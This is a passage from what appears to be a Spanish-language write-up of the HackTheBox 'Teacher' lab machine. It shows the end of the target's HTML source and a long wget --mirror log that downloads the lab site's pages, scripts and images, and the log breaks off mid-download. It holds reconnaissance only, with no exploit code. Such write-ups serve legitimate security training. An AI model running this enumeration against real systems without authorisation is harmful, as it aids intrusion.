</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;right&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">fieldset</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;question&#34;</span>&gt;&lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Question...&#34;</span>&gt;&lt;/<span style="color:#f92672">textarea</span>&gt;&lt;/<span style="color:#f92672">fieldset</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn-holder&#34;</span>&gt;
</span></span><span style="display:flex;"><span>				&lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;btn blue&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;Send request&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>			&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>		&lt;/<span style="color:#f92672">form</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://code.jquery.com/jquery-1.11.1.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">script</span>&gt;window.<span style="color:#a6e22e">jQuery</span> <span style="color:#f92672">||</span> document.<span style="color:#a6e22e">write</span>(<span style="color:#e6db74">&#34;&lt;script src=&#39;js/jquery-1.11.1.min.js&#39;&gt;\x3C/script&gt;&#34;</span>)&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/plugins.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>	&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;js/main.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Después de explorar un rato la pagina, decidí hacer un mirror:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/teacher$ wget --mirror http://10.10.10.153
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:22--  http://10.10.10.153/
</span></span><span style="display:flex;"><span>Conectando con 10.10.10.153:80... conectado.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 8028 (7.8K) [text/html]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/index.html”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/index.html                         100%[=====================================================================================================&gt;]   7.84K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:22 (1.92 MB/s) - “10.10.10.153/index.html” guardado [8028/8028]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cargando robots.txt; por favor ignore los errores.
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:22--  http://10.10.10.153/robots.txt
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 404 Not Found
</span></span><span style="display:flex;"><span>2019-01-15 20:26:22 ERROR 404: Not Found.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:22--  http://10.10.10.153/css/style.css
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 34653 (34K) [text/css]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/css/style.css”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/css/style.css                      100%[=====================================================================================================&gt;]  33.84K  --.-KB/s    en 0.1s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:22 (275 KB/s) - “10.10.10.153/css/style.css” guardado [34653/34653]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:22--  http://10.10.10.153/gallery.html
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 8254 (8.1K) [text/html]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/gallery.html”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/gallery.html                       100%[=====================================================================================================&gt;]   8.06K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:22 (1.80 MB/s) - “10.10.10.153/gallery.html” guardado [8254/8254]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:22--  http://10.10.10.153/images/2.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 7084 (6.9K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/2.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/2.png                       100%[=====================================================================================================&gt;]   6.92K  --.-KB/s    en 0.007s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (1008 KB/s) - “10.10.10.153/images/2.png” guardado [7084/7084]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/images/3.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 9561 (9.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/3.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/3.png                       100%[=====================================================================================================&gt;]   9.34K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (2.18 MB/s) - “10.10.10.153/images/3.png” guardado [9561/9561]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/images/1.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 5126 (5.0K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/1.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/1.png                       100%[=====================================================================================================&gt;]   5.01K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (1.33 MB/s) - “10.10.10.153/images/1.png” guardado [5126/5126]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/images/1_1.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 4825 (4.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/1_1.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/1_1.png                     100%[=====================================================================================================&gt;]   4.71K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (1.30 MB/s) - “10.10.10.153/images/1_1.png” guardado [4825/4825]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/js/jquery-1.11.1.min.js
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 95785 (94K) [application/javascript]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/js/jquery-1.11.1.min.js”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/js/jquery-1.11.1.min.js            100%[=====================================================================================================&gt;]  93.54K   604KB/s    en 0.2s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (604 KB/s) - “10.10.10.153/js/jquery-1.11.1.min.js” guardado [95785/95785]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/js/plugins.js
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 44945 (44K) [application/javascript]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/js/plugins.js”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/js/plugins.js                      100%[=====================================================================================================&gt;]  43.89K  --.-KB/s    en 0.03s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (1.69 MB/s) - “10.10.10.153/js/plugins.js” guardado [44945/44945]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/js/main.js
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 3107 (3.0K) [application/javascript]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/js/main.js”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/js/main.js                         100%[=====================================================================================================&gt;]   3.03K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:23 (2.27 MB/s) - “10.10.10.153/js/main.js” guardado [3107/3107]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:23--  http://10.10.10.153/images/logo.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 4269 (4.2K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/logo.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/logo.png                    100%[=====================================================================================================&gt;]   4.17K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (948 KB/s) - “10.10.10.153/images/logo.png” guardado [4269/4269]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/bg_white_arrow.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 808 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_white_arrow.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_white_arrow.png          100%[=====================================================================================================&gt;]     808  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (102 MB/s) - “10.10.10.153/images/bg_white_arrow.png” guardado [808/808]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/bg_white.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1095 (1.1K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_white.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_white.png                100%[=====================================================================================================&gt;]   1.07K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (836 KB/s) - “10.10.10.153/images/bg_white.png” guardado [1095/1095]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/bg_slider_nav_2.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 578 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_slider_nav_2.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_slider_nav_2.png         100%[=====================================================================================================&gt;]     578  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (46.5 MB/s) - “10.10.10.153/images/bg_slider_nav_2.png” guardado [578/578]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/ico_time.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 460 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_time.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_time.png                100%[=====================================================================================================&gt;]     460  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (49.4 MB/s) - “10.10.10.153/images/ico_time.png” guardado [460/460]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/ico_place.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 389 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_place.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_place.png               100%[=====================================================================================================&gt;]     389  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (21.8 MB/s) - “10.10.10.153/images/ico_place.png” guardado [389/389]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/bg_arrow_nav.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 287 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_nav.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_nav.png            100%[=====================================================================================================&gt;]     287  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (30.3 MB/s) - “10.10.10.153/images/bg_arrow_nav.png” guardado [287/287]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/ico_time_2.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 461 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_time_2.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_time_2.png              100%[=====================================================================================================&gt;]     461  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (50.6 MB/s) - “10.10.10.153/images/ico_time_2.png” guardado [461/461]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/ico_place_2.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 385 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_place_2.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_place_2.png             100%[=====================================================================================================&gt;]     385  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:24 (41.6 MB/s) - “10.10.10.153/images/ico_place_2.png” guardado [385/385]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:24--  http://10.10.10.153/images/pic_slide.jpg
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 66065 (65K) [image/jpeg]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/pic_slide.jpg”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/pic_slide.jpg               100%[=====================================================================================================&gt;]  64.52K  --.-KB/s    en 0.03s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (1.99 MB/s) - “10.10.10.153/images/pic_slide.jpg” guardado [66065/66065]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_arrow.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 232 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow.png                100%[=====================================================================================================&gt;]     232  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (20.4 MB/s) - “10.10.10.153/images/bg_arrow.png” guardado [232/232]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_slider_nav.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 358 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_slider_nav.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_slider_nav.png           100%[=====================================================================================================&gt;]     358  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (54.1 MB/s) - “10.10.10.153/images/bg_slider_nav.png” guardado [358/358]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_arrow_blue.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 148 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_blue.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_blue.png           100%[=====================================================================================================&gt;]     148  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (19.4 MB/s) - “10.10.10.153/images/bg_arrow_blue.png” guardado [148/148]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_arrow_blue_dark.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 148 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_blue_dark.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_blue_dark.png      100%[=====================================================================================================&gt;]     148  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (14.3 MB/s) - “10.10.10.153/images/bg_arrow_blue_dark.png” guardado [148/148]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/ico_information.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1329 (1.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_information.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_information.png         100%[=====================================================================================================&gt;]   1.30K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (939 KB/s) - “10.10.10.153/images/ico_information.png” guardado [1329/1329]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_arrow_information.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 403 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_information.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_information.png    100%[=====================================================================================================&gt;]     403  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (43.0 MB/s) - “10.10.10.153/images/bg_arrow_information.png” guardado [403/403]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/ico_contacts.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1697 (1.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_contacts.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_contacts.png            100%[=====================================================================================================&gt;]   1.66K  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (5.44 MB/s) - “10.10.10.153/images/ico_contacts.png” guardado [1697/1697]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/ico_social.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1374 (1.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_social.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_social.png              100%[=====================================================================================================&gt;]   1.34K  --.-KB/s    en 0.009s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (151 KB/s) - “10.10.10.153/images/ico_social.png” guardado [1374/1374]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/ico_close.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 968 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_close.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_close.png               100%[=====================================================================================================&gt;]     968  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:25 (129 MB/s) - “10.10.10.153/images/ico_close.png” guardado [968/968]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:25--  http://10.10.10.153/images/bg_blue.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 109 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_blue.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_blue.png                 100%[=====================================================================================================&gt;]     109  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (11.4 MB/s) - “10.10.10.153/images/bg_blue.png” guardado [109/109]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/images/ico_form.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1323 (1.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_form.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_form.png                100%[=====================================================================================================&gt;]   1.29K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (1.66 MB/s) - “10.10.10.153/images/ico_form.png” guardado [1323/1323]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/images/bg_arrow_select.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 187 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_select.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_select.png         100%[=====================================================================================================&gt;]     187  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (20.9 MB/s) - “10.10.10.153/images/bg_arrow_select.png” guardado [187/187]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/fonts/BebasNeueBold.eot
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
